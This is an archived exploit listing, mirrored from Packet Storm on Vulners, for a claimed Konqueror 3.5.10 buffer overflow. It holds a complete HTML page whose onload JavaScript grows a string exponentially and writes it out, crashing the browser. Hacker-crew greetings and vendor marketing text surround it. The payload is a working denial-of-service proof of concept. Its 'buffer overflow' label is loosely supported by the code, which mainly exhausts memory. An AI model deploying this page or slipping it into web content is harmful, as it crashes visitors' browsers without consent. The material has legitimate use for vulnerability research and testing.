Lucene search
K

Konqueror KDE 3.5 Crash Handler

🗓️ 28 Mar 2011 00:00:00Reported by KedAns-DzType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 27 Views

Konqueror KDE 3.5 Crash Handler. Buffer overflow vulnerability in Konqueror 3.5.10 on Linux

Code
`#===============================================================================  
  
80 8o 8oO80oO8 080808 080808080 80o 08 8080080880  
08 0o 08 8 08 8O O8 08o8 O0 0O  
80 0o 8o 0 0 0o o0 80 Oo 08 O0  
08o0o 08 8 8 8O O8 08 0o 80 88  
80o0o 8Oo80O80 0 0 0oOoOoOo0 80 8o 80 o8o  
08 0o 08O08oO8 8 8 8O80808O8 08 O o8 Oo80o  
08 0o 8o 0 8 8o o0 80 0o 08 80  
80 0o 08 8 80 0O O8 0o 8o 8 0  
08 8o 8oO80oO8 080808 8o o0 O8 0o8 80O0808Oo08  
  
#===============================================================================  
# Title : Konqueror KDE 3.5 Crash Handler  
# Author : KedAns-Dz  
# E-mail : [email protected]  
# Home : HMD/AM (30008/04300) - Algeria -(00213555248701)  
# Twitter : twitter.com/kedans  
# platform : Linux  
# Impact : Crash Handler  
# Tested on : Linux - Ubuntu 8.10 En ( Back-Track 4 'R1')  
# Target : Konqueror 3.5.10 (Using KDE 3.5.10)  
# ** this Vulnerabilities is expectant in all Versions 3 etc ... 4.2 **  
#================================================================================  
# Note : BAC 2011 Enchallah ( Me & BadR0 & Dr.Ride & Red1One & XoreR & Fox-Dz ... all )  
###  
<html>  
<head>  
<title>Konqueror KDE 3.5 Crash Handler</title>  
<body onload="javascript:KeD();">  
<script language="JavaScript">  
function KeD()  
{  
var buffer = '\x42';  
for(i=0; i <= 999 ; ++i)  
buffer+=buffer+  
document.write(buffer+buffer);  
}   
</script>  
</head>  
</body>  
</html>  
  
#================[ Exploited By KedAns-Dz * HaCerS-StreeT-Team-Dz * ]================================   
# Greets To : [D] HaCkerS-StreeT-Team [Z] < Algerians HaCkerS >  
# Islampard * Zaki.Eng * Dr.Ride * Red1One * Badr0 * XoreR * Nor0 FouinY * Hani * Mr.Dak007 * Fox-Dz  
# Masimovic * TOnyXED * cr4wl3r (Inj3ct0r.com) * TeX (hotturks.org) * KelvinX (kelvinx.net) * Dos-Dz  
# Nayla Festa * all (sec4ever.com) Members * PLATEN (Pentesters.ir) * Gamoscu (www.1923turk.com)  
# Greets to All ALGERIANS EXPLO!TER's & DEVELOPER's :=> {{  
# Indoushka (Inj3ct0r.com) * [ Ma3sTr0-Dz * MadjiX * BrOx-Dz * JaGo-Dz (sec4ever.com) ] * Dr.0rYX   
# Cr3w-DZ * His0k4 * El-Kahina * Dz-Girl * SuNHouSe2 ; All Others && All My Friends . }} ,  
# www.packetstormsecurity.org * exploit-db.com * bugsearch.net * 1337day.com * x000.com   
# www.metasploit.com * www.securityreason.com * All Security and Exploits Webs ...  
#====================================================================================================  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation